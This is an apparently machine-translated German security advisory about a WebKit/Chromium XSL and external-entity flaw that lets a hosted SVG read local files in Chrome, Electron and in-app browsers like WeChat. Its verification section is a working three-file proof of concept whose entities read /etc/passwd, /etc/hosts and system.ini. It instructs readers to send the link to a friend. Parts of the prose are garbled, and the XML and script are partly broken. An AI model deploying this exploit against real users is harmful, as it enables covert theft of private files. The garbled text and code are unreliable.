Open-Source-Browser-Engine WebKit Sicherheitslücke beim Lesen beliebiger Dateien

Google Chrome ist ein von Google entwickelter Webbrowser, der auf einem Open-Source-Kernel (z. B. WebKit) basiert und mit einer einfachen und effizienten Benutzeroberfläche für mehr Stabilität, Geschwindigkeit und Sicherheit sorgen soll. Durch die Verwendung von XSL-Stylesheets und externen Entitätsverweisen in SVG-Bildverknüpfungen kann ein Angreifer jedoch beliebige Dateien auf dem Computer des Opfers lesen.

I. Beschreibung der Schwachstelle

Google Internet-Unternehmen ChromWebKit ist ein von Google entwickelter Webbrowser. Der Browser basiert auf einem Open-Source-Kernel (z. B. WebKit) mit dem Ziel, Stabilität, Geschwindigkeit und Sicherheit zu verbessern sowie eine einfache und effiziente Benutzeroberfläche zu schaffen. Die xsl-Bibliothek (Libxslt) wird standardmäßig in WebKit verwendet, und Dokumente, die durch den Aufruf von document() geladen werden, enthalten Verweise auf externe Entitäten. Angreifer können SVG-Bilder erstellen und hosten, die XSL-Stylesheets und Dokumente mit Verweisen auf externe Entitäten enthalten.

Wenn das Opfer auf den SVG-Bildlink zugreift, analysiert der Browser das XSL-Stylesheet, ruft document() auf, um ein Dokument zu laden, das Verweise auf externe Entitäten enthält, und liest eine beliebige Datei auf dem Rechner des Opfers.

II. die Auswirkungen von Schwachstellen

Chrome Version < 116.0.5845.96
Chromium Version < 116.0.5845.96
Elektronische Version < 26.1.0

Inländische Auswirkungen Auswirkungen:

Apps, die den Google Chrome-Kernel verwenden, sind grundsätzlich betroffen, wie z. B.: mobiles WeChat, Alipay, Jieyin, Ctrip, Xiaomi (eigener Browser), UC Browser, via Browser, Quark Browsing und so weiter (diese wurden alle in der Nacht des 19. November getestet)

III. die Überprüfung der Verwundbarkeit

Nehmen Sie die Android-Version von WeChat, lesen Sie das Mobiltelefon /etc/hosts-Datei als Beispiel: Testumgebung WeChat-Version für die neueste Version 8.0.43

Erstellen Sie drei Dateien und verteilen Sie sie auf dem Server

 

c.html

<body>
<div id="r"></div>
<script>
const ifr = document.createElement('iframe');
ifr.style.display = 'none';
document.body.appendChild(ifr);
ifr.onload = function() {
const ifrContent = ifr.contentWindow.document.documentElement.innerHTML;
r.innerHTML = `current url:<br />${location.href}<br /><br />get data:<br />${ifrContent}`;
}
ifr.src = "./c2.svg";

var data = `current url:<br />${location.href}<br /><br />get data:<br />${ifrContent}`;
alert(data);
</script>
</body>
c2.svg

&lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;? &lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<svg width="10000%" height="10000%" version="1.1" xmlns="http://www.w3.org/2000/svg">
<foreignobject class="node" font-size="18" width="100%" height="100%">
<body xmlns="http://www.w3.org/1999/xhtml">
<xmp>
<xsl:copy-of select="document('./c3.xml')"/>
</xmp>
</body>
</foreignobject>
</svg>
</xsl:template>
</xsl:stylesheet>
c3.xml

&lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;? &lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?
<!DOCTYPE p [
<!ENTITY passwd SYSTEM "file:///etc/passwd">
<!ENTITY hosts SYSTEM "file:///etc/hosts">
<!ENTITY group SYSTEM "file://localhost/etc/group">
<!ENTITY sysini SYSTEM "file:///c:/windows/system.ini">
]>
<p>
<p style="border-style: dotted;">/etc/passwd.
&amp;passwd.
</p>
<p style="border-style: dotted;" id="hosts">/etc/hosts.
&amp;hosts.
</p>
<p style="border-style: dotted;">/etc/group.
&amp;group.
</p>
<p style="border-style: dotted;">c:/windows/system32.ini.
&amp;sysini.
</p>
</p>

Nachdem Sie drei Dateien erstellt haben, laden Sie sie zur Bereitstellung auf den Server hoch, senden Sie den erstellten Link über die Sitzungsbox an einen beliebigen Freund, ich zeige hier, wie man ihn an den Dateiübertragungsassistenten sendet, und klicken Sie dann auf diesen Link, um zurückzukehren und den Text erfolgreich zu lesen.

IV. Empfehlungen zur Behebung von Schwachstellen

1. aktualisieren Sie die Version des in der App integrierten Browsers;

2、Benutzer sollten nicht auf unbekannte Links klicken, um Angriffe zu vermeiden

Originalartikel von Chief Security Officer, bei Vervielfältigung bitte angeben: https://cncso.com/de/webkit-browser-willkurliche-datei-lesen-verwundbarkeit-html

Wie (1)
Vorherige 27. November 2023 um 11:03 Uhr
Weiter 1. Dezember 2023 um 10:01 Uhr

Empfohlen